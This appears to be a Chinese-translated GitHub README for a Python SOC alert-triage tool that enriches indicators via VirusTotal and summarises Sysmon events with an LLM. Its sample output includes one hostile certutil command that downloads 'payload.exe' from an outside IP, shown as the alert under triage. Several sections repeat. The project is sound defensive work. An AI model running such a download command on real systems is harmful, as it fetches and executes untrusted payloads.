KBS320/soc-triage-assistant
GitHub: KBS320/soc-triage-assistant
该工具结合 VirusTotal 威胁情报富化与 LLM,自动完成 SOC Tier 1 告警的分诊研判与报告生成,帮助缓解分析师的告警疲劳。
Stars: 0 | Forks: 0
# 🤖 AI 辅助 SOC 警报分诊助手
一个自动化 Tier 1 警报分诊的 Python 工具。它读取 Windows 安全
事件,通过 VirusTotal 威胁
情报丰富指标(IP 和文件哈希),并使用 LLM (Claude) 生成通俗易懂的(纯英文)分诊
摘要——发生了什么、严重程度如何,以及 Tier 1 分析师接下来应该
做什么。
它构建于我的
[SOC 检测实验室](https://github.com/KBS320/SOC-Home-Lab)的自动化层之上,该实验室生成的
Sysmon 事件正是此工具旨在分诊的目标。
**展示的技能:** Python · SOAR 式自动化 · LLM / AI 集成 ·
威胁情报丰富 · VirusTotal API · MITRE ATT&CK · 警报分诊
## 它的功能
1. **读取** Sysmon 风格的 Windows 安全事件
2. **通过** VirusTotal API 丰富任何 IP 地址或文件哈希
3. **使用** LLM 对每个事件进行分诊——严重性评级和建议措施
4. **输出** 整洁且可供分析师直接使用的分诊报告
丰富的情报会反馈给 AI:威胁情报判定结果会被传递给模型,
因此严重性决策基于真实的信誉数据,而不仅仅是
命令行。
## 输出示例
对于来自已知恶意 IP 的 `certutil` 下载,该工具会丰富
指标,并且 LLM 会适当地进行升级上报:
```
EVENT 2 — T1105
Command: certutil -urlcache -split -f http://185.220.101.5/payload.exe evil.exe
Threat Intel: IP: 9 vendors flagged as malicious | Hash: 65 vendors flagged as malicious
WHAT HAPPENED: certutil.exe used to download a malicious file from a
flagged IP — a Living-off-the-Land ingress tool transfer (T1105).
SEVERITY: HIGH — hash flagged by 65 vendors, source IP by 9, trusted
binary abused to evade defenses.
RECOMMENDED ACTION: Isolate host, escalate to Tier 2/IR, block the IP,
preserve artifacts, review user activity across the environment.
```
## 架构
```
Windows host (Sysmon) ──► Splunk ──► triage.py
│
├─ enrich indicators (VirusTotal)
├─ AI triage (Claude)
└─ write triage report
```
当前版本从 JSON 文件读取事件(演示模式)。一个直接从
Splunk REST API 拉取事件的实时版本是下一个计划阶段。
## 如何运行
```
# 1. 设置 virtual environment 并安装 dependencies
python -m venv venv
source venv/bin/activate
pip install requests anthropic python-dotenv
# 2. 将你的 API keys 添加到 .env 文件中(切勿 commit):
# VIRUSTOTAL_API_KEY=your_key
# ANTHROPIC_API_KEY=your_key
# 3. 运行它
python triage.py
```
需要一个免费的 [VirusTotal](https://virustotal.com) API key 和一个
[Anthropic](https://console.anthropic.com) API key。
## 为什么开发它
现代 SOC 正在采用 AI 辅助分诊来减少警报疲劳——2026 年的许多安全岗位现在都将 AI/自动化列为
必备技能。我构建了这个工作流的
小型可用版本(端到端:情报丰富 → LLM 分诊 →
报告),以便在实践中理解它,并实现我的检测
实验室产生的警报的自动化。
## 路线图
- [x] 通过 VirusTotal 进行指标丰富
- [x] 基于 LLM 的分诊和严重性评级
- [x] 报告生成
- [ ] 从 Splunk REST API 实时拉取事件
- [ ] 支持其他威胁情报源(AbuseIPDB、OTX)
## 架构
```
Windows host (Sysmon) ──► Splunk ──► triage.py
│
├─ enrich indicators (VirusTotal)
├─ AI triage (Claude)
└─ write triage report
```
当前版本从 JSON 文件读取事件(演示模式)。一个直接从
Splunk REST API 拉取事件的实时版本是下一个计划阶段。
## 如何运行
```
# 1. 设置 virtual environment 并安装 dependencies
python -m venv venv
source venv/bin/activate
pip install requests anthropic python-dotenv
# 2. 将你的 API keys 添加到 .env 文件中(切勿 commit):
# VIRUSTOTAL_API_KEY=your_key
# ANTHROPIC_API_KEY=your_key
# 3. 运行它
python triage.py
```
需要一个免费的 [VirusTotal](https://virustotal.com) API key 和一个
[Anthropic](https://console.anthropic.com) API key。
## 为什么开发它
现代 SOC 正在采用 AI 辅助分诊来减少警报疲劳——2026 年的许多安全岗位现在都将 AI/自动化列为
必备技能。我构建了这个工作流的
小型可用版本(端到端:情报丰富 → LLM 分诊 →
报告),以便在实践中理解它,并实现我的检测
实验室产生的警报的自动化。
## 路线图
- [x] 通过 VirusTotal 进行指标丰富
- [x] 基于 LLM 的分诊和严重性评级
- [x] 报告生成
- [ ] 从 Splunk REST API 实时拉取事件
- [ ] 支持其他威胁情报源(AbuseIPDB、OTX)标签:Python, SOAR自动化, 告警分诊, 威胁情报, 安全运营, 开发者工具, 扫描框架, 无后门, 网络信息收集, 逆向工具